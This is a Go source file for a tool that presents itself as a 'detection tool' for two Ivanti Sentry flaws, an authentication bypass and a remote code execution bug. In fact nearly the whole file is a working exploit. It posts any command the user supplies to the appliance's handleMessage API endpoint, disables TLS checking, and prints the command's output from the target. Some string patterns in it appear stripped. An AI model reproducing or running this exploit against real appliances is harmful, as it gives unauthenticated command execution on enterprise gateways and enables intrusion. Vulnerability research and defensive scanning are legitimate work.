package main import ( "crypto/tls" "encoding/json" "flag" "fmt" "io" "net/http" "net/url" "regexp" "strings" "time" ) const banner = ` ██████╗██╗ ██╗███████╗ ██╗██╗ ██╗███████╗ ██╔════╝██║ ██║██╔════╝ ██║██║ ██║██╔════╝ ██║ ██║ ██║█████╗ ██║██║ ██║███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██║╚██╗ ██╔╝╚════██║ ╚██████╗ ╚████╔╝ ███████╗ ██║ ╚████╔╝ ███████║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═══╝ ╚══════╝ Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523 [*] Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Tool CVES: [CVE-2026-10520, CVE-2026-10523] Author: GhostGTR666 - Gagaltotal666 Github: https://github.com/gagaltotal/CVE-2026-10523-Ivanti-sentry ` const ( userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" defaultTimeout = 10 * time.Second maxResponseSize = 10 * 1024 * 1024 successMarker = "Message handled successfully" resultXMLPattern = `(.*?)` ) type APIResponse struct { Data string `json:"data"` } type Config struct { BaseURL string Cmd string Proxy string } type HTTPClient struct { client *http.Client } func NewHTTPClient(proxy string) (*HTTPClient, error) { transport := &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, }, } if proxy != "" { proxyURL, err := url.Parse(proxy) if err != nil { return nil, fmt.Errorf("invalid proxy URL: %w", err) } transport.Proxy = http.ProxyURL(proxyURL) } return &HTTPClient{ client: &http.Client{ Transport: transport, Timeout: defaultTimeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, }, }, nil } func (c *HTTPClient) MakeCommandRequest(baseURL, command string) (*http.Response, error) { baseURL = strings.TrimRight(baseURL, "/") targetURL := fmt.Sprintf("%s/mics/api/v2/sentry/mics-config/handleMessage", baseURL) data := fmt.Sprintf( "message=execute+system+/configuration/system/commandexec+1%s", url.QueryEscape(command), ) req, err := http.NewRequest(http.MethodPost, targetURL, strings.NewReader(data)) if err != nil { return nil, fmt.Errorf("failed to create request: %w", err) } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("User-Agent", userAgent) fmt.Printf("[+] Sending command execution check to: %s\n", targetURL) return c.client.Do(req) } func ExtractCommandOutput(body string) (string, error) { if !strings.Contains(body, successMarker) { return "", fmt.Errorf("success marker not found") } data := body var apiResp APIResponse if err := json.Unmarshal([]byte(body), &apiResp); err == nil && apiResp.Data != "" { data = apiResp.Data } if !strings.Contains(data, "") { return "", fmt.Errorf("result XML structure not found") } re := regexp.MustCompile(resultXMLPattern) re.Longest() matches := re.FindStringSubmatch(data) if len(matches) < 2 { return "", fmt.Errorf("failed to extract command output") } return matches[1], nil } func ReadResponseBody(resp *http.Response) (string, error) { defer resp.Body.Close() limitedReader := &io.LimitedReader{R: resp.Body, N: maxResponseSize} body, err := io.ReadAll(limitedReader) if err != nil { return "", fmt.Errorf("failed to read response body: %w", err) } return string(body), nil } func ParseArgs() *Config { var ( urlFlag string cmdFlag string proxyFlag string ) flag.StringVar(&urlFlag, "url", "", "Target base URL (e.g., https://127.0.0.1:8443)") flag.StringVar(&cmdFlag, "cmd", "", "Command to run for detection (e.g., \"uname -a\")") flag.StringVar(&proxyFlag, "p", "", "Proxy address:port (e.g., 127.0.0.1:8080)") flag.StringVar(&proxyFlag, "proxy", "", "Proxy address:port (e.g., 127.0.0.1:8080)") flag.Usage = func() { fmt.Fprintf(flag.CommandLine.Output(), "Ivanti Sentry Detection Tool [CVE-2026-10520, CVE-2026-10523]\n\n") fmt.Fprintf(flag.CommandLine.Output(), "Usage:\n") flag.PrintDefaults() } flag.Parse() if urlFlag == "" { fmt.Fprintln(flag.CommandLine.Output(), "Error: --url is required") fmt.Fprintf(flag.CommandLine.Output(), "\n") flag.Usage() fmt.Fprintf(flag.CommandLine.Output(), "\n") } if cmdFlag == "" { fmt.Fprintln(flag.CommandLine.Output(), "Error: --cmd is required") fmt.Fprintf(flag.CommandLine.Output(), "\n") flag.Usage() } if urlFlag == "" || cmdFlag == "" { return nil } return &Config{ BaseURL: strings.TrimRight(urlFlag, "/"), Cmd: cmdFlag, Proxy: proxyFlag, } } func PrintSummary(cfg *Config) { separator := strings.Repeat("=", 60) fmt.Println(separator) fmt.Printf("Target: %s\n", cfg.BaseURL) fmt.Printf("Command: %s\n", cfg.Cmd) if cfg.Proxy != "" { fmt.Printf("Proxy: %s\n", cfg.Proxy) } fmt.Println() } func main() { fmt.Print(banner) cfg := ParseArgs() if cfg == nil { return } PrintSummary(cfg) var proxyURL string if cfg.Proxy != "" { proxyURL = fmt.Sprintf("http://%s", cfg.Proxy) } httpClient, err := NewHTTPClient(proxyURL) if err != nil { fmt.Printf("[-] Failed to create HTTP client: %v\n", err) return } resp, err := httpClient.MakeCommandRequest(cfg.BaseURL, cfg.Cmd) if err != nil { fmt.Printf("[-] Request failed: %v\n", err) return } body, err := ReadResponseBody(resp) if err != nil { fmt.Printf("[-] Failed to read response: %v\n", err) return } output, err := ExtractCommandOutput(body) if err != nil { fmt.Println("[-] Target does not appear to be vulnerable.") return } fmt.Println("[+] Target appears to be vulnerable.") fmt.Println("\nCommand output:") fmt.Println(strings.TrimRight(output, " \t\n\r")) }